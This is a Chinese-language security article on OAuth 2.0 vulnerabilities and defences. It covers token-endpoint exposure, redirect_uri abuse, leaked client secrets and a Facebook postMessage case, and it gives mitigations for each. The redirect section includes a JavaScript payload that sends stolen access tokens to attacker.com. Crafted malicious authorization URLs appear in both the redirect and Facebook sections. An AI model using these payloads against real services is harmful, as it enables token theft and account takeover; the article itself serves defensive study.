OAuth2.0漏洞分析
字数 2098 2025-08-07 00:34:58
OAuth 2.0漏洞分析与防御指南
0x01 OAuth授权框架概述
OAuth是一种常用的授权框架,它使网站和应用程序能够请求对另一个应用程序上的用户帐户进行有限访问。OAuth的核心优势在于:
- 用户无需将登录凭据暴露给请求的应用程序
- 用户可以精确控制要共享的数据范围
- 实现了第三方应用与资源服务器之间的安全授权
0x02 OAuth 2.0工作流程
OAuth 2.0主要包含以下角色:
- 资源所有者(Resource Owner):通常是终端用户
- 客户端(Client):请求访问资源的应用程序
- 授权服务器(Authorization Server):验证用户身份并颁发令牌
- 资源服务器(Resource Server):托管受保护资源的服务器
基本授权流程:
- 客户端向资源所有者请求授权
- 资源所有者同意授权
- 客户端使用授权向授权服务器请求访问令牌
- 授权服务器验证授权并颁发访问令牌
- 客户端使用访问令牌向资源服务器请求资源
- 资源服务器验证令牌并提供资源
0x03 Bearer Token安全风险
Bearer Token是OAuth 2.0中常用的令牌类型,其特点是:
- 任何持有令牌的实体都可以访问相关资源
- 通常通过Authorization头传递:
Authorization: Bearer <token>
安全风险:
- 令牌泄露等同于账户泄露
- 缺乏内置的撤销机制
- 容易被中间人攻击截获
0x04 Bearer Token生成接口未授权访问漏洞
漏洞描述
开发错误地将获取Bearer Token的接口设置为未授权访问,导致敏感信息泄露。
漏洞发现与利用流程
-
接口发现:
- 访问目标小程序接口,发现返回了Spring Security OAuth2的报错信息
- 解包小程序,搜索关键词"Bearer"定位相关功能
-
代码分析:
// 示例代码片段 public void fileUpload() { String token = loadToken(); // 为未授权接口生成Bearer Token // 文件上传逻辑 }- 发现
loadToken()方法为未授权接口生成Bearer Token
- 发现
-
漏洞利用:
- 直接POST请求访问
loadToken()接口获取有效令牌 - 使用获取的令牌访问其他受保护接口:
GET /protected/resource HTTP/1.1 Host: target.com Authorization: Bearer <stolen_token> - 通过数据导出接口获取大量敏感数据
- 直接POST请求访问
防御措施
- 严格限制令牌生成接口的访问权限
- 实施最小权限原则,仅授予必要权限
- 对敏感操作实施多因素认证
- 定期审计接口权限设置
0x05 URL重定向漏洞
漏洞类型
-
无限制URL重定向:
- 授权服务对回调URL无任何限制
- 攻击者可构造任意恶意URL
-
有限制URL重定向:
- URL限制为本网站地址
- 需要结合其他漏洞(如文件上传)利用
利用流程(有限制情况)
-
利用文件上传漏洞上传恶意HTML页面(hacker.html):
<script> // 从referrer中提取token var token = document.referrer.match(/access_token=([^&]*)/)[1]; // 发送token到攻击者服务器 new Image().src = "https://attacker.com/steal?token=" + token; </script> -
构造恶意授权链接:
https://oauth-server.com/auth? response_type=code& client_id=legitimate_client& redirect_uri=https://target.com/uploads/hacker.html -
诱导用户访问,窃取token
防御措施
- 严格验证redirect_uri,使用白名单机制
- 实施CSRF防护措施
- 避免在URL中传递敏感参数
- 对用户输入进行严格过滤
0x06 ID与Secret泄漏漏洞
常见泄漏场景
- 硬编码在客户端应用(APK、IPA等)中
- 泄露在JavaScript源代码中
- 通过heapdump文件泄露
- 公开在GitHub等代码托管平台
利用流程
-
反编译目标应用,搜索关键词:
- "client_id"
- "client_secret"
- "app_key"
- "app_secret"
-
发现钉钉的id和secret示例:
const client_id = "dingoa1b2c3d4e5f6g7h8"; const client_secret = "abcdef1234567890abcdef1234567890"; -
使用官方API获取access_token:
POST https://oapi.dingtalk.com/gettoken? appkey=dingoa1b2c3d4e5f6g7h8& appsecret=abcdef1234567890abcdef1234567890
防御措施
- 避免在客户端存储敏感凭证
- 使用后端代理模式处理认证流程
- 定期轮换密钥
- 实施严格的代码审查流程
- 使用专业的密钥管理服务
0x07 postMessage XSS漏洞(Facebook案例)
漏洞背景
Facebook的JavaScript SDK(staticxx.facebook.com)提供了跨域通信接口,攻击者可利用postMessage机制窃取令牌。
漏洞细节
-
漏洞入口:
/connect/ping接口用于获取access令牌- 返回redirect_uri到
/connect/xd_arbiter.php
-
参数操纵:
- 发现
xd_arbiter.php?version=42可修改为xd_arbiter/?v=42 - 通过添加额外参数/目录绕过限制
- 发现
-
令牌窃取:
- 构造恶意iframe使用postMessage获取令牌hash
- 示例攻击URL:
https://www.facebook.com/connect/ping? client_id=123& redirect_uri=https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=44# origin=https://attacker.com
防御措施
- 严格验证postMessage的origin
- 实施内容安全策略(CSP)
- 对重定向URL进行严格校验
- 避免在客户端处理敏感令牌
0x08 综合防御策略
-
令牌安全:
- 使用短期有效的令牌
- 实施令牌绑定机制
- 提供令牌撤销功能
-
接口安全:
- 对所有API端点实施身份验证
- 记录和监控异常访问
- 实施速率限制
-
开发实践:
- 遵循OAuth 2.0安全最佳实践
- 定期进行安全审计
- 使用官方SDK而非自行实现
-
监控响应:
- 实时监控异常令牌使用
- 建立应急响应机制
- 定期进行渗透测试